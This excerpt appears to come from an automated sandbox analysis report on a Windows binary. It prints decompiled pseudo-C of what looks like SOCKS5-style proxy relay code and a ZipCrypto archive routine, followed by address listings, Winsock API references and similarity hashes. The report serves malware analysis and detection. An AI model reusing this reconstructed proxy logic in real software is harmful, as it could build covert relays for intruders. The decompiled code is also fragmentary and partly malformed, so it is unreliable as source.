											if(_t285 != 1) {
												L47:
												return _t285;
											}
											__eflags = _v13;
											if(_v13 == 0) {
												goto L47;
											}
											_t286 = E00415853(_a4, 0xffffffff, _v13, _v40);
											__eflags = _t286;
											return _t286 & 0xffffff00 | _t286 != 0x00000000;
										}
										_t422 = _v24;
										 *((short*)(_t422 + 2)) = _v64;
										_t290 = (_v59 & 0x000000ff) - 1;
										__eflags = _t290;
										if(_t290 == 0) {
											_t461 = E00411387(_v24);
											__eflags = _t461 - 0xffffffff;
											if(_t461 != 0xffffffff) {
												E00411705(_t422, _t461);
												_t293 = E00415853(_a4, _t461, _t411, _v40);
												__eflags = _t293 - 1;
												if(_t293 != 1) {
													__eflags = _t293 - 0xffffffff;
													if(_t293 != 0xffffffff) {
														_v9 = _t411;
													} else {
														_v13 = 1;
													}
												} else {
													_push(_t461);
													E0041153B(_a4);
												}
												L144:
												E004116AD(_t461);
												goto L145;
											}
											L138:
											_v13 = 5;
											goto L145;
										}
										_t296 = _t290 - 1;
										__eflags = _t296;
										if(_t296 == 0) {
											__eflags =  *_t422 - 0x17;
											 *((short*)(_t422 + 2)) = 0;
											if( *_t422 != 0x17) {
												 *(_t422 + 4) = _t411;
											} else {
												E0040E2E8(0, _t422, _t411, 0x10);
											}
											_t463 = E00411481(_v24, 1);
											_v48 = _t463;
											__eflags = _t463 - 0xffffffff;
											if(_t463 == 0xffffffff) {
												goto L138;
											} else {
												_t455 = E00415853(_a4, _t463, _t411, _v40);
												__eflags = _t455 - 1;
												if(_t455 != 1) {
													L134:
													E004116AD(_t463);
													__eflags = _t455 - 0xffffffff;
													if(_t455 == 0xffffffff) {
														L124:
														_v13 = 1;
														goto L145;
													}
													__eflags = _t455 - 1;
													if(_t455 != 1) {
														_v9 = 0;
													}
													goto L145;
												}
												_t457 = E00411682( &_a4);
												_v52 = _t457;
												E004116AD(_v48);
												__eflags = _t457 - 0xffffffff;
												if(_t457 == 0xffffffff) {
													goto L124;
												}
												E00411705(_t422, _t457);
												_t455 = E00415853(_a4, _t457, _t411, _v40 | 0x00000002);
												__eflags = _t455 - 1;
												if(_t455 == 1) {
													_push(_v52);
													E0041153B(_a4);
												}
												_t463 = _v52;
												goto L134;
											}
										}
										__eflags = _t296 == 1;
										if(_t296 == 1) {
											_v80 = 0x80;
											_v88 = 0x80;
											_t313 =  &_v216;
											__imp__#6(_t460, _t313,  &_v80);
											__eflags = _t313;
											if(_t313 != 0) {
												goto L124;
											}
											_t316 =  *0x423814(_t460,  &_v1008,  &_v88);
											__eflags = _t316;
											if(_t316 != 0) {
												goto L124;
											}
											__eflags = _v216 - 0x17;
											_v214 = _t316;
											if(_v216 == 0x17) {
												_v192 = _t411;
												_v212 = _t411;
											}
											_t317 = E0041172A( &_v216);
											_v32 = _t317;
											__eflags = _t317 - 0xffffffff;
											if(_t317 == 0xffffffff) {
												goto L124;
											} else {
												_t458 = E0040E205(0xffff);
												__eflags = _t458 - _t411;
												if(_t458 != _t411) {
													_t466 = _a4;
													_t320 = E00415853(_t466, _v32, _t411, _v40);
													__eflags = _t320 - 1;
													if(_t320 != 1) {
														__eflags = _t320 - 0xffffffff;
														if(_t320 != 0xffffffff) {
															_v9 = _t411;
														} else {
															_v13 = 1;
														}
														L122:
														E0040E235(_t458);
														L123:
														_t461 = _v32;
														goto L144;
													}
													_v28 = _v28 | 0xffffffff;
													_v484 = _v484 | 0xffffffff;
													_v48 = _t411;
													_v44 = _t411;
													_v36 = _t411;
													_v496 = 2;
													_v492 = _t466;
													_v488 = _v32;
													while(1) {
														_t323 =  &_v496;
														__imp__#18(_t411, _t323, _t411, _t411, _t411);
														__eflags = _t323;
														if(_t323 <= 0) {
															break;
														}
														_t325 = E0041126D( &_v496, _a4);
														__eflags = _t325;
														if(_t325 == 0) {
															L64:
															_v20 = 0x80;
															_t327 = E0041126D( &_v496, _v32);
															__eflags = _t327;
															if(_t327 == 0) {
																L106:
																__eflags = _v28 - 0xffffffff;
																if(_v28 == 0xffffffff) {
																	L115:
																	_t411 = 0;
																	__eflags = 0;
																	L116:
																	_t328 = _v28;
																	__eflags = _t328 - 0xffffffff;
																	_v484 = _t328;
																	_t425 = (0 | _t328 != 0xffffffff) + 2;
																	__eflags = _t425;
																	_v496 = _t425;
																	_v492 = _a4;
																	_v488 = _v32;
																	continue;
																}
																_t330 = E0041126D( &_v496, _v28);
																__eflags = _t330;
																if(_t330 == 0) {
																	goto L115;
																}
																_t468 = _v48;
																_t411 = 0;
																_t336 =  *0x4237f4(_v28, _t468 + _t458, 0xffff - _t468, 0,  &_v216,  &_v20);
																__eflags = _t336;
																if(_t336 > 0) {
																	L110:
																	 *_t458 = 0;
																	 *((char*)(_t458 + 2)) = 0;
																	_v216 - 0x17 = _v44 - 0x17;
																	 *(_t458 + 3) = ((0 | _v216 != 0x00000017) - 0x00000001 & 0x00000003) + 1;
																	if(_v44 != 0x17) {
																		__eflags = _v44 - 2;
																		if(_v44 != 2) {
																			goto L116;
																		}
																		_push(4);
																		_t433 =  &_v212;
																		L114:
																		_t200 = _t458 + 4; // 0x4
																		E0040E271();
																		_t338 = E0040E271(_t468 + _t458 - 2,  &_v214, 2);
																		__imp__#20(_v32, _t458, _t338 + _t468, _t411,  &_v624, _v36, _t200, _t433);
																		goto L116;
																	}
																	_push(0x10);
																	_t433 =  &_v208;
																	goto L114;
																}
																__eflags = _v44 - (_v216 & 0x0000ffff);
																if(_v44 != (_v216 & 0x0000ffff)) {
																	goto L116;
																}
																goto L110;
															}
															_t469 =  *0x4237f4(_v32, _t458, 0xffff, _t411,  &_v216,  &_v20);
															_v52 = _t469;
															__eflags = _t469 - _t411;
															if(_t469 <= _t411) {
																break;
															}
															__eflags = _t469 - 6;
															if(_t469 < 6) {
																goto L106;
															}
															_t344 = _v216;
															__eflags = _v1008 - _t344;
															if(_v1008 != _t344) {
																goto L106;
															}
															__eflags = _t344 - 2;
															if(_t344 != 2) {
																__eflags = _t344 - 0x17;
																if(_t344 != 0x17) {
																	L73:
																	__eflags =  *((char*)(_t458 + 2));
																	if( *((char*)(_t458 + 2)) != 0) {
																		goto L106;
																	}
																	__eflags =  *_t458 - _t411;
																	if( *_t458 != _t411) {
																		goto L106;
																	}
																	__eflags = _v36 - _t411;
																	if(_v36 == _t411) {
																		E0040E271( &_v624,  &_v216, _v20);
																		__eflags = _v624 - 0x17;
																		if(_v624 == 0x17) {
																			_v600 = _t411;
																			_v620 = _t411;
																		}
																		_v36 = _v20;
																	}
																	E0040E2E8( &_v216,  &_v216, _t411, 0x80);
																	_t348 = ( *(_t458 + 3) & 0x000000ff) - 1;
																	__eflags = _t348;
																	if(_t348 == 0) {
																		__eflags = _t469 - 0xa;
																		if(_t469 <= 0xa) {
																			goto L106;
																		}
																		_t349 = 2;
																		_v216 = _t349;
																		_t158 = _t458 + 4; // 0x4
																		_v20 = 0x10;
																		E0040E271( &_v212, _t158, 4);
																		_push(8);
																		goto L99;
																	} else {
																		_t369 = _t348;
																		__eflags = _t369;
																		if(_t369 == 0) {
																			_t370 =  *((intOrPtr*)(_t458 + 4));
																			__eflags = _t370;
																			if(_t370 == 0) {
																				goto L106;
																			}
																			_t371 = _t370 & 0x000000ff;
																			__eflags = _t469 - _t371 + 7;
																			if(_t469 <= _t371 + 7) {
																				goto L106;
																			}
																			_t135 = _t458 + 5; // 0x5
																			_t372 = E0040E271( &_v880, _t135, _t371);
																			 *((char*)(_t472 + _t372 - 0x36c)) = 0;
																			_t139 = _t372 + 5; // 0x5
																			_t414 = _t139;
																			_v56 = 0;
																			_t374 =  &_v880;
																			__imp__getaddrinfo(_t374, 0, 0,  &_v56);
																			__eflags = _t374;
																			if(_t374 != 0) {
																				goto L106;
																			}
																			_t451 = 0;
																			__eflags = 0;
																			do {
																				_t375 = _v56;
																				__eflags = _t375;
																				if(_t375 == 0) {
																					goto L92;
																				}
																				_t444 =  *((intOrPtr*)(_t472 + (_t451 & 0x000000ff) * 4 - 0x48));
																				while(1) {
																					__eflags =  *((intOrPtr*)(_t375 + 4)) - _t444;
																					if( *((intOrPtr*)(_t375 + 4)) == _t444) {
																						break;
																					}
																					_t375 =  *(_t375 + 0x1c);
																					__eflags = _t375;
																					if(_t375 != 0) {
																						continue;
																					}
																					goto L92;
																				}
																				_v20 =  *((intOrPtr*)(_t375 + 0x10));
																				E0040E271( &_v216,  *((intOrPtr*)(_t375 + 0x18)),  *((intOrPtr*)(_t375 + 0x10)));
																				__eflags = _v216 - 0x17;
																				if(_v216 == 0x17) {
																					_v192 = 0;
																					_v212 = 0;
																				}
																				__imp__freeaddrinfo(_v56);
																				L100:
																				_t415 = _t414 + 2;
																				__eflags = _v28 - 0xffffffff;
																				_v214 =  *((intOrPtr*)(_t414 + _t458));
																				if(_v28 != 0xffffffff) {
																					L103:
																					__eflags = _v52 - _t415;
																					if(_v52 > _t415) {
																						__eflags = _v44 - (_v216 & 0x0000ffff);
																						if(_v44 == (_v216 & 0x0000ffff)) {
																							_t416 = _t415 + _t458;
																							__eflags = _t416;
																							__imp__#20(_v28, _t416, _v52 - _t415, 0,  &_v216, _v20);
																						}
																					}
																					goto L106;
																				}
																				E0040E2E8( &_v752,  &_v752, 0, 0x80);
																				_t360 = _v216;
																				_v752 = _t360;
																				_v44 = _t360 & 0x0000ffff;
																				_t362 = E0041172A( &_v752);
																				_v28 = _t362;
																				__eflags = _t362 - 0xffffffff;
																				if(_t362 == 0xffffffff) {
																					goto L118;
																				}
																				__eflags = _v44 - 0x17;
																				_t367 = ((0 | _v44 != 0x00000017) - 0x00000001 & 0x0000000c) + 0xa;
																				__eflags = _t367;
																				_v48 = _t367;
																				goto L103;
																				L92:
																				_t451 = _t451 + 1;
																				__eflags = _t451 - 2;
																			} while (_t451 < 2);
																			goto L106;
																		}
																		__eflags = _t369 != 1;
																		if(_t369 != 1) {
																			goto L106;
																		}
																		__eflags = _t469 - 0x16;
																		if(_t469 <= 0x16) {
																			goto L106;
																		}
																		_t379 = 0x17;
																		_v216 = _t379;
																		_t130 = _t458 + 4; // 0x4
																		_v20 = 0x1c;
																		E0040E271( &_v208, _t130, 0x10);
																		_push(0x14);
																		L99:
																		_pop(_t414);
																		goto L100;
																	}
																}
																__eflags = E0040E2A6( &_v208,  &_v1000, 0x10);
																L72:
																if(__eflags != 0) {
																	goto L106;
																}
																goto L73;
															}
															__eflags = _v1004 - _v212;
															goto L72;
														}
														_t390 =  *0x423810(_a4, _t458, 0xffff, _t411);
														__eflags = _t390;
														if(_t390 <= 0) {
															break;
														}
														goto L64;
													}
													L118:
													E004116AD(_v28);
													goto L122;
												}
												_v13 = 1;
												goto L123;
											}
										}
										_v13 = 7;
										goto L145;
									}
									E0040E235(_v24);
									goto L46;
								}
							}
							__eflags = _t392 != 1;
							if(_t392 != 1) {
								goto L46;
							}
							_push(_t411);
							_push( &_v232);
							_push(_t460);
							_t406 = 0x10;
							_t407 = E00411304(_t406);
							__eflags = _t407;
							if(_t407 == 0) {
								goto L46;
							}
							_t408 = 0x1c;
							_t409 = E0040E205(_t408);
							_v24 = _t409;
							__eflags = _t409 - _t411;
							if(_t409 == _t411) {
								L41:
								_v13 = 1;
							} else {
								_t450 = 0x17;
								 *_t409 = _t450;
								_push(0x10);
								_t421 =  &_v232;
								_t279 = _t409 + 8;
								L43:
								_push(_t421);
								_push(_t279);
								E0040E271();
							}
							goto L44;
						}
					}
					L4:
					_t261 = _t261 - 1;
					__eflags =  *(_t472 + _t261 - 0x36c) - _t411;
					if( *(_t472 + _t261 - 0x36c) == _t411) {
						_t262 = _t472 + _t261 - 0x36c;
						goto L7;
					}
					goto L5;
				}
			}

0x0041597a
0x00415988
0x00415995
0x0041599f
0x00415bd4
0x00415bd4
0x00000000
0x004159ca
0x004159ca
0x00000000
0x004159da
0x004159dc
0x00000000
0x004159de
0x004159de
0x004159de
0x004159e0
0x004159e2
0x004159f5
0x004159f6
0x00415a08
0x00000000
0x00000000
0x00415a12
0x00000000
0x00415a14
0x00415a24
0x00415a27
0x00415a2b
0x00415a2c
0x00415a2f
0x00415a30
0x00415a33
0x00415a38
0x00415a3a
0x00000000
0x00415a40
0x00415a40
0x00415a44
0x00000000
0x00000000
0x00415a4a
0x00415a4e
0x00415a5c
0x00415a5f
0x00415a50
0x00415a50
0x00415a57
0x00415a57
0x00415a6a
0x00415a6a
0x00415a6b
0x00415a6e
0x00415b80
0x00415b84
0x00415b85
0x00415b88
0x00415b89
0x00415b8e
0x00415b90
0x00000000
0x00000000
0x00415b94
0x00415b95
0x00415b9a
0x00415b9d
0x00415b9f
0x00415ba9
0x00415bac
0x00415bae
0x00415bb1
0x00415bb1
0x00000000
0x00415bb1
0x00000000
0x00415a74
0x00415a74
0x00415a74
0x00415a76
0x00415aca
0x00415acf
0x00415ad1
0x00000000
0x00000000
0x00415ad7
0x00415ada
0x00000000
0x00000000
0x00415aed
0x00415af2
0x00415af4
0x00000000
0x00000000
0x00415afe
0x00415b0b
0x00415b12
0x00415b15
0x00415b1b
0x00415b1d
0x00415b28
0x00415b28
0x00415b2a
0x00415b2a
0x00415b2d
0x00415b2f
0x00000000
0x00000000
0x00415b34
0x00415b38
0x00415b38
0x00415b3b
0x00000000
0x00000000
0x00415b3d
0x00415b40
0x00415b42
0x00000000
0x00000000
0x00000000
0x00415b42
0x00415b60
0x00415b65
0x00415b68
0x00415b6a
0x00415b72
0x00415b76
0x00415b78
0x00415b7b
0x00415b7b
0x00415b6c
0x00415b6c
0x00415b6c
0x00415b4f
0x00415b52
0x00000000
0x00415b44
0x00415b44
0x00415b46
0x00415b46
0x00415b4b
0x00000000
0x00415b1f
0x00415b1f
0x00415bbb
0x00415bc3
0x00415bc8
0x00415bca
0x00415bdd
0x00415be1
0x00415be4
0x004161fe
0x00416201
0x00416206
0x00416209
0x0041620b
0x00415bda
0x00415bda
0x00415bda
0x00416211
0x00416215
0x00000000
0x00000000
0x00416226
0x0041622b
0x00000000
0x0041622d
0x00415bee
0x00415bf1
0x00415bf9
0x00415bf9
0x00415bfa
0x004161bb
0x004161bd
0x004161c0
0x004161c9
0x004161d6
0x004161db
0x004161de
0x004161eb
0x004161ee
0x004161f6
0x004161f0
0x004161f0
0x004161f0
0x004161e0
0x004161e3
0x004161e4
0x004161e4
0x004161f9
0x004161f9
0x00000000
0x004161f9
0x004161c2
0x004161c2
0x00000000
0x004161c2
0x00415c00
0x00415c00
0x00415c01
0x00416109
0x0041610d
0x00416111
0x00416121
0x00416113
0x0041611a
0x0041611a
0x0041612e
0x00416130
0x00416133
0x00416136
0x00000000
0x0041613c
0x00416149
0x0041614b
0x0041614e
0x0041619a
0x0041619a
0x0041619f
0x004161a2
0x004160fe
0x004160fe
0x00000000
0x004160fe
0x004161a8
0x004161ab
0x004161ad
0x004161ad
0x00000000
0x004161ab
0x0041615f
0x00416161
0x00416164
0x00416169
0x0041616c
0x00000000
0x00000000
0x0041616f
0x00416185
0x00416187
0x0041618a
0x0041618c
0x00416192
0x00416192
0x00416197
0x00000000
0x00416197
0x00416136
0x00415c07
0x00415c08
0x00415c18
0x00415c1b
0x00415c22
0x00415c2a
0x00415c30
0x00415c32
0x00000000
0x00000000
0x00415c44
0x00415c4a
0x00415c4c
0x00000000
0x00000000
0x00415c52
0x00415c5a
0x00415c61
0x00415c63
0x00415c69
0x00415c69
0x00415c75
0x00415c7a
0x00415c7d
0x00415c80
0x00000000
0x00415c86
0x00415c90
0x00415c92
0x00415c94
0x00415ca2
0x00415caa
0x00415caf
0x00415cb2
0x004160e2
0x004160e5
0x004160ed
0x004160e7
0x004160e7
0x004160e7
0x004160f0
0x004160f1
0x004160f6
0x004160f6
0x00000000
0x004160f6
0x00415cbb
0x00415cbf
0x00415cc6
0x00415cc9
0x00415ccc
0x00415ccf
0x00415cd9
0x00415cdf
0x004160bf
0x004160c2
0x004160ca
0x004160d0
0x004160d2
0x00000000
0x00000000
0x00415cf3
0x00415cf8
0x00415cfa
0x00415d14
0x00415d1d
0x00415d24
0x00415d29
0x00415d2b
0x00415fc9
0x00415fc9
0x00415fcd
0x00416091
0x00416091
0x00416091
0x00416093
0x00416093
0x00416098
0x0041609e
0x004160a4
0x004160a4
0x004160a7
0x004160b0
0x004160b9
0x00000000
0x004160b9
0x00415fdc
0x00415fe1
0x00415fe3
0x00000000
0x00000000
0x00415fe9
0x00415ff7
0x00416009
0x0041600f
0x00416011
0x0041601f
0x00416021
0x00416024
0x00416039
0x0041603d
0x00416040
0x0041604c
0x00416050
0x00000000
0x00000000
0x00416052
0x00416054
0x0041605a
0x0041605b
0x0041605f
0x00416072
0x00416089
0x00000000
0x00416089
0x00416042
0x00416044
0x00000000
0x00416044
0x0041601a
0x0041601d
0x00000000
0x00000000
0x00000000
0x0041601d
0x00415d4c
0x00415d4e
0x00415d51
0x00415d53
0x00000000
0x00000000
0x00415d59
0x00415d5c
0x00000000
0x00000000
0x00415d62
0x00415d69
0x00415d70
0x00000000
0x00000000
0x00415d76
0x00415d7a
0x00415d8a
0x00415d8e
0x00415dab
0x00415dab
0x00415daf
0x00000000
0x00000000
0x00415db5
0x00415db8
0x00000000
0x00000000
0x00415dbe
0x00415dc1
0x00415dd4
0x00415dd9
0x00415de1
0x00415de3
0x00415de9
0x00415de9
0x00415df2
0x00415df2
0x00415e02
0x00415e0b
0x00415e0b
0x00415e0c
0x00415f06
0x00415f09
0x00000000
0x00000000
0x00415f11
0x00415f12
0x00415f1b
0x00415f26
0x00415f2d
0x00415f32
0x00000000
0x00415e12
0x00415e13
0x00415e13
0x00415e14
0x00415e50
0x00415e53
0x00415e55
0x00000000
0x00000000
0x00415e5b
0x00415e61
0x00415e63
0x00000000
0x00000000
0x00415e6a
0x00415e75
0x00415e7a
0x00415e82
0x00415e82
0x00415e8d
0x00415e90
0x00415e97
0x00415e9d
0x00415e9f
0x00000000
0x00000000
0x00415ea5
0x00415ea7
0x00415ea9
0x00415ea9
0x00415eac
0x00415eae
0x00000000
0x00000000
0x00415eb3
0x00415eb7
0x00415eb7
0x00415eba
0x00000000
0x00000000
0x00415ebc
0x00415ebf
0x00415ec1
0x00000000
0x00000000
0x00000000
0x00415ec1
0x00415ed3
0x00415ee0
0x00415ee5
0x00415eed
0x00415eef
0x00415ef5
0x00415ef5
0x00415efe
0x00415f35
0x00415f39
0x00415f3c
0x00415f40
0x00415f47
0x00415f9a
0x00415f9a
0x00415f9d
0x00415fa6
0x00415fa9
0x00415fbd
0x00415fbd
0x00415fc3
0x00415fc3
0x00415fa9
0x00000000
0x00415f9d
0x00415f57
0x00415f5c
0x00415f63
0x00415f73
0x00415f76
0x00415f7b
0x00415f7e
0x00415f81
0x00000000
0x00000000
0x00415f89
0x00415f94
0x00415f94
0x00415f97
0x00000000
0x00415ec3
0x00415ec3
0x00415ec5
0x00415ec5
0x00000000
0x00415eca
0x00415e16
0x00415e17
0x00000000
0x00000000
0x00415e1d
0x00415e20
0x00000000
0x00000000
0x00415e28
0x00415e29
0x00415e32
0x00415e3d
0x00415e44
0x00415e49
0x00415f34
0x00415f34
0x00000000
0x00415f34
0x00415e0c
0x00415da3
0x00415da5
0x00415da5
0x00000000
0x00000000
0x00000000
0x00415da5
0x00415d82
0x00000000
0x00415d82
0x00415d06
0x00415d0c
0x00415d0e
0x00000000
0x00000000
0x00000000
0x00415d0e
0x004160d8
0x004160db
0x00000000
0x004160db
0x00415c96
0x00000000
0x00415c96
0x00415c80
0x00415c0a
0x00000000
0x00415c0a
0x00415bcf
0x00000000
0x00415bcf
0x00415b1d
0x00415a78
0x00415a79
0x00000000
0x00000000
0x00415a7f
0x00415a86
0x00415a87
0x00415a8a
0x00415a8b
0x00415a90
0x00415a92
0x00000000
0x00000000
0x00415a9a
0x00415a9b
0x00415aa0
0x00415aa3
0x00415aa5
0x00415ba1
0x00415ba1
0x00415aab
0x00415aad
0x00415aae
0x00415ab1
0x00415ab3
0x00415ab9
0x00415bb4
0x00415bb4
0x00415bb5
0x00415bb6
0x00415bb6
0x00000000
0x00415aa5
0x00415a6e
0x004159d0
0x004159d0
0x004159d1
0x004159d8
0x00415a1b
0x00000000
0x00415a1b
0x00000000
0x004159d8

APIs

Part of subcall function 004118C2: getsockname.WS2_32(00000004,?,00000004), ref: 004118E0

getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 00415B15
freeaddrinfo.WS2_32(?), ref: 00415B52
getsockname.WS2_32(?,?,?), ref: 00415C2A
getpeername.WS2_32(?,?,?), ref: 00415C44
recv.WS2_32(?,00000000,0000FFFF,00000000), ref: 00415D06
recvfrom.WS2_32(?,00000000,0000FFFF,00000000,00000017,00000080), ref: 00415D46
getaddrinfo.WS2_32(00000000,00000000,00000000,?), ref: 00415E97
freeaddrinfo.WS2_32(?,00000017,?,?), ref: 00415EFE
sendto.WS2_32(000000FF,00000006,?,00000000,00000017,00000010), ref: 00415FC3
recvfrom.WS2_32(000000FF,0000FFFF,0000FFFF,00000000,00000017,00000080), ref: 00416009
sendto.WS2_32(?,00000000,00000000,00000000,?,?), ref: 00416089
select.WS2_32(00000000,00000002,00000000,00000000,00000000), ref: 004160CA

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: freeaddrinfogetaddrinfogetsocknamerecvfromsendto$getpeernamerecvselect
String ID:
API String ID: 2938155291-0
Opcode ID: 4d5e67b304afddb9751572e9573c0e4649c1737f06d90e172b200535b3d8d142
Instruction ID: f5d29b92a363713419f64be8221e1769aec13156a58bd2d9a74e398fe1b4445a
Opcode Fuzzy Hash: 4d5e67b304afddb9751572e9573c0e4649c1737f06d90e172b200535b3d8d142
Instruction Fuzzy Hash: CC42C171800219EBCF20DFA4CC85AEEBBB9AF04304F1445ABE515B7291D3789EC5CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040C98B, Relevance: 18.0, APIs: 7, Strings: 3, Instructions: 460
stringCOMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0040C98B(void* __eax, signed int* _a4, WCHAR* _a8, char _a11, signed int _a12) {
				char _v9;
				signed int _v16;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v36;
				int _v40;
				signed int* _v44;
				char _v45;
				char _v56;
				char _v68;
				int _v76;
				int _v80;
				char _v88;
				char _v348;
				char _v608;
				int _v612;
				char* _v616;
				char* _v620;
				char _v880;
				intOrPtr _v884;
				signed int _v888;
				short _v892;
				short _v894;
				short _v896;
				int _v900;
				intOrPtr _v904;
				intOrPtr _v908;
				int _v912;
				signed int _v916;
				int _v920;
				int _v924;
				unsigned int _v928;
				short _v930;
				signed int _v932;
				short _v934;
				char _v936;
				short _v1456;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t238;
				signed int _t239;
				int _t246;
				void* _t247;
				short _t252;
				short _t256;
				signed int _t265;
				signed int _t268;
				signed int _t271;
				signed int _t277;
				signed char _t285;
				signed int _t286;
				int _t290;
				signed int _t292;
				signed int _t293;
				signed int _t300;
				signed int _t306;
				signed int _t307;
				signed int _t309;
				void* _t314;
				signed int _t323;
				signed int _t331;
				signed int _t333;
				signed int* _t336;
				signed int _t338;
				intOrPtr _t339;
				signed int _t340;
				signed int _t344;
				signed int _t345;
				signed int* _t347;
				void* _t349;
				signed int _t366;
				signed int _t369;
				int _t371;
				signed int _t385;
				signed int _t386;
				void* _t392;
				signed int _t395;
				signed int _t396;
				signed int _t397;
				signed int _t399;
				signed int _t400;
				signed char* _t401;
				signed int* _t410;
				void* _t414;

				_t336 = _a4;
				_t371 = 0;
				_t392 = __eax;
				if(_t336[5] != 0) {
					return 0x40000;
				}
				__eflags = _t336[0xb];
				if(_t336[0xb] == 0) {
					_v40 = 0;
					__eflags =  *_t336;
					if( *_t336 != 0) {
						__eflags = __eax - 4;
						if(__eax != 4) {
							_v40 = 0xc;
						}
					}
					lstrcpyW( &_v1456, _a8);
					__eflags = _v1456 - _t371;
					if(_v1456 == _t371) {
						L24:
						return 0x10000;
					} else {
						_t238 =  &_v1456;
						do {
							__eflags =  *_t238 - 0x5c;
							if( *_t238 == 0x5c) {
								_t339 = 0x2f;
								 *_t238 = _t339;
							}
							_t238 = _t238 + 2;
							__eflags =  *_t238 - _t371;
						} while ( *_t238 != _t371);
						__eflags = _t392 - 4;
						_a11 = _t392 == 4;
						__eflags = _a11;
						if(_a11 == 0) {
							L14:
							_v9 = 0;
							L15:
							__eflags = _a11;
							_v16 = 8;
							if(_a11 != 0) {
								L17:
								_v16 = _t371;
								L18:
								__eflags = _t392 - 2;
								if(_t392 != 2) {
									__eflags = _t392 - 1;
									if(_t392 != 1) {
										__eflags = _t392 - 3;
										if(_t392 != 3) {
											__eflags = _t392 - 4;
											if(__eflags != 0) {
												goto L24;
											}
											_t239 = E0040C730(_t349, _t336, __eflags);
											L28:
											__eflags = _t239 - _t371;
											if(_t239 != _t371) {
												L25:
												return _t239;
											}
											_v76 = _t371;
											lstrcpyA( &_v880, 0x403c52);
											WideCharToMultiByte(0xfde9, _t371,  &_v1456, 0xffffffff,  &_v608, 0x104, _t371, _t371);
											_t246 = lstrlenA( &_v608);
											__eflags = _v9;
											_v912 = _t246;
											if(_v9 != 0) {
												lstrcatA( &_v608, "/");
												_t41 =  &_v912;
												 *_t41 = _v912 + 1;
												__eflags =  *_t41;
											}
											_t247 = 0;
											__eflags = _v912 - _t371;
											if(_v912 <= _t371) {
												L33:
												lstrcpyA( &_v348, 0x403c52);
												_v894 = 0;
												_v936 = 0xb17;
												_t252 = 0x14;
												_v934 = _t252;
												_v928 = _t336[0x1a];
												_v612 = _t371;
												_v900 = _t371;
												_v88 = 1;
												_v80 = _t371;
												_v924 = _t371;
												_v932 = 0x808;
												_t340 = 9;
												__eflags =  *_t336 - _t371;
												if( *_t336 != _t371) {
													__eflags = _a11;
													if(_a11 == 0) {
														_v932 = _t340;
													}
												}
												_v892 = _v932;
												_t256 = _v16;
												_v930 = _t256;
												__eflags = _t256 - _t371;
												if(_t256 != _t371) {
													L39:
													_v920 = _t371;
													goto L40;
												} else {
													_t323 = _t336[0x1c];
													__eflags = _t323 - _t371;
													if(_t323 < _t371) {
														goto L39;
													}
													_v920 = _t323 + _v40;
													L40:
													_v916 = _t336[0x1c];
													_t395 = _t336[0x16];
													_v896 = 0;
													_v888 = _t336[0x13];
													_v884 = _t336[4] + _t336[6];
													_v620 =  &_v36;
													_v616 =  &_v68;
													_v31 = _t336[0x16];
													_t265 = _t336[0x17];
													_v30 = (_t265 << 0x00000020 | _t395) >> 8;
													_v29 = (_t265 << 0x00000020 | _t395) >> 0x10;
													_t396 = _t336[0x14];
													_v28 = (_t265 << 0x00000020 | _t395) >> 0x18;
													_v27 = _t336[0x14];
													_t268 = _t336[0x15];
													_v26 = (_t268 << 0x00000020 | _t396) >> 8;
													_v25 = (_t268 << 0x00000020 | _t396) >> 0x10;
													_t397 = _t336[0x18];
													_v24 = (_t268 << 0x00000020 | _t396) >> 0x18;
													_v23 = _t336[0x18];
													_t271 = _t336[0x19];
													_v22 = (_t271 << 0x00000020 | _t397) >> 8;
													_v21 = (_t271 << 0x00000020 | _t397) >> 0x10;
													_t366 = _t397;
													_t367 = (_t271 << 0x00000020 | _t366) >> 0x18;
													_v908 = 0x11;
													_v904 = _t340;
													_v36 = 0xd5455;
													_v32 = 7;
													_v20 = (_t271 << 0x00000020 | _t366) >> 0x18;
													E0040E271( &_v68,  &_v36, _t340);
													 *((char*)(_v616 + 2)) = 5;
													_t277 = E0040B773(_t336, _t340, _t336,  &_v936);
													__eflags = _t277;
													if(_t277 == 0) {
														_t336[6] = _t336[6] + _v908 + _v912 + 0x1e;
														__eflags = _t336[5];
														if(_t336[5] == 0) {
															_t399 =  *_t336;
															_t157 =  &(_t336[0xc]); // 0x30
															_t342 = _t157;
															 *_t157 = 0x12345678;
															_t336[0xd] = 0x23456789;
															_t336[0xe] = 0x34567890;
															__eflags = _t399;
															if(_t399 == 0) {
																L48:
																_t400 = 0;
																__eflags = 0;
																do {
																	 *((char*)(_t414 + _t400 - 0x34)) = E0040F56E() >> 7;
																	_t400 = _t400 + 1;
																	__eflags = _t400 - 0xc;
																} while (_t400 < 0xc);
																_v45 = _v928 >> 8;
																_t385 = 0;
																__eflags = 0;
																do {
																	_t401 = _t414 + _t385 - 0x34;
																	_t166 =  &(_t336[0xc]); // 0x30
																	_t343 = _t166;
																	_t285 = E0040C0E1(_t166, __eflags,  *_t401 & 0x000000ff);
																	_t385 = _t385 + 1;
																	 *_t401 = _t285;
																	__eflags = _t385 - 0xc;
																} while (__eflags < 0);
																__eflags =  *_t336;
																if( *_t336 != 0) {
																	__eflags = _a11;
																	if(_a11 == 0) {
																		_t367 =  &_v56;
																		_t343 = _t336;
																		E0040C458(_t336,  &_v56, 0xc);
																		_t169 =  &(_t336[6]);
																		 *_t169 = _t336[6] + 0xc;
																		__eflags =  *_t169;
																	}
																}
																_t386 = 0;
																__eflags =  *_t336;
																if( *_t336 == 0) {
																	L58:
																	_t286 = 0;
																	__eflags = 0;
																	goto L59;
																} else {
																	__eflags = _a11;
																	if(_a11 != 0) {
																		goto L58;
																	}
																	_t286 = 1;
																	L59:
																	__eflags = _a11;
																	_t336[0xb] = _t286;
																	if(_a11 != 0) {
																		_t336[0x24] = 0;
																		L72:
																		_t336[0xb] = 0;
																		E0040C84E(_t336);
																		_t344 = _t336[0x24];
